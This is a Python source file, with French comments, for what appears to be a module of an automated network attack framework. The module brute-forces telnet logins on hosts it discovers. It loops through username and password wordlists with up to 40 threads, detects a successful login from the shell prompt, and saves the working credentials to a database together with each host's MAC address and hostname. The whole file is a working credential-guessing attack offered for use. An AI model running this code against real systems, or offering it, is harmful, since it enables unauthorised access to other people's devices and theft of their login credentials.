""" telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich) - Cibles: (ip, port) par l’orchestrateur - IP -> (MAC, hostname) via DB.hosts - Succès -> DB.creds (service='telnet') - Conserve la logique d’origine (telnetlib, queue/threads) """ import os import telnetlib import threading import logging import time from queue import Queue from typing import List, Dict, Tuple, Optional from shared import SharedData from logger import Logger logger = Logger(name="telnet_bruteforce.py", level=logging.DEBUG) b_class = "TelnetBruteforce" b_module = "telnet_bruteforce" b_status = "brute_force_telnet" b_port = 23 b_parent = None b_service = '["telnet"]' b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]' b_priority = 70 b_cooldown = 1800 # 30 minutes entre deux runs b_rate_limit = '3/86400' # 3 fois par jour max class TelnetBruteforce: """Wrapper orchestrateur -> TelnetConnector.""" def __init__(self, shared_data): self.shared_data = shared_data self.telnet_bruteforce = TelnetConnector(shared_data) logger.info("TelnetConnector initialized.") def bruteforce_telnet(self, ip, port): """Lance le bruteforce Telnet pour (ip, port).""" return self.telnet_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): """Point d’entrée orchestrateur (retour 'success' / 'failed').""" logger.info(f"Executing TelnetBruteforce on {ip}:{port}") self.shared_data.bjorn_orch_status = "TelnetBruteforce" success, results = self.bruteforce_telnet(ip, port) return 'success' if success else 'failed' class TelnetConnector: """Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname).""" def __init__(self, shared_data): self.shared_data = shared_data # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) # Cache IP -> (mac, hostname) self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} self._refresh_ip_identity_cache() self.lock = threading.Lock() self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port] self.queue = Queue() # ---------- util fichiers ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: with open(path, "r", encoding="utf-8", errors="ignore") as f: return [l.rstrip("\n\r") for l in f if l.strip()] except Exception as e: logger.error(f"Cannot read file {path}: {e}") return [] # ---------- mapping DB hosts ---------- def _refresh_ip_identity_cache(self) -> None: self._ip_to_identity.clear() try: rows = self.shared_data.db.get_all_hosts() except Exception as e: logger.error(f"DB get_all_hosts failed: {e}") rows = [] for r in rows: mac = r.get("mac_address") or "" if not mac: continue hostnames_txt = r.get("hostnames") or "" current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else "" ips_txt = r.get("ips") or "" if not ips_txt: continue for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]: self._ip_to_identity[ip] = (mac, current_hn) def mac_for_ip(self, ip: str) -> Optional[str]: if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[0] def hostname_for_ip(self, ip: str) -> Optional[str]: if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[1] # ---------- Telnet ---------- def telnet_connect(self, adresse_ip: str, user: str, password: str) -> bool: try: tn = telnetlib.Telnet(adresse_ip) tn.read_until(b"login: ", timeout=5) tn.write(user.encode('ascii') + b"\n") if password: tn.read_until(b"Password: ", timeout=5) tn.write(password.encode('ascii') + b"\n") time.sleep(2) response = tn.expect([b"Login incorrect", b"Password: ", b"$ ", b"# "], timeout=5) try: tn.close() except Exception: pass if response[0] == 2 or response[0] == 3: return True except Exception: pass return False # ---------- DB upsert fallback ---------- def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None): mac_k = mac or "" ip_k = ip or "" user_k = user or "" db_k = database or "" port_k = int(port or 0) try: with self.shared_data.db.transaction(immediate=True): self.shared_data.db.execute( """ INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra) VALUES('telnet',?,?,?,?,?,?,?,NULL) """, (mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k), ) self.shared_data.db.execute( """ UPDATE creds SET "password"=?, hostname=COALESCE(?, hostname), last_seen=CURRENT_TIMESTAMP WHERE service='telnet' AND COALESCE(mac_address,'')=? AND COALESCE(ip,'')=? AND COALESCE("user",'')=? AND COALESCE(COALESCE("database",""),'')=? AND COALESCE(port,0)=? """, (password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k), ) except Exception as e: logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}") # ---------- worker / queue ---------- def worker(self, success_flag): """Worker thread for Telnet bruteforce attempts.""" while not self.queue.empty(): if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping worker thread.") break adresse_ip, user, password, mac_address, hostname, port = self.queue.get() try: if self.telnet_connect(adresse_ip, user, password): with self.lock: self.results.append([mac_address, adresse_ip, hostname, user, password, port]) logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}") self.save_results() self.removeduplicates() success_flag[0] = True finally: self.queue.task_done() # Optional delay between attempts if getattr(self.shared_data, "timewait_telnet", 0) > 0: time.sleep(self.shared_data.timewait_telnet) def run_bruteforce(self, adresse_ip: str, port: int): mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" total_tasks = len(self.users) * len(self.passwords) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] for user in self.users: for password in self.passwords: if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") return False, [] self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) success_flag = [False] threads = [] thread_count = min(40, max(1, total_tasks)) for _ in range(thread_count): t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) t.start() threads.append(t) while not self.queue.empty(): if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping bruteforce.") while not self.queue.empty(): try: self.queue.get_nowait() self.queue.task_done() except Exception: break break self.queue.join() for t in threads: t.join() return success_flag[0], self.results # ---------- persistence DB ---------- def save_results(self): for mac, ip, hostname, user, password, port in self.results: try: self.shared_data.db.insert_cred( service="telnet", mac=mac, ip=ip, hostname=hostname, user=user, password=password, port=port, database=None, extra=None ) except Exception as e: if "ON CONFLICT clause does not match" in str(e): self._fallback_upsert_cred( mac=mac, ip=ip, hostname=hostname, user=user, password=password, port=port, database=None ) else: logger.error(f"insert_cred failed for {ip} {user}: {e}") self.results = [] def removeduplicates(self): pass if __name__ == "__main__": try: sd = SharedData() telnet_bruteforce = TelnetBruteforce(sd) logger.info("Telnet brute force module ready.") exit(0) except Exception as e: logger.error(f"Error: {e}") exit(1)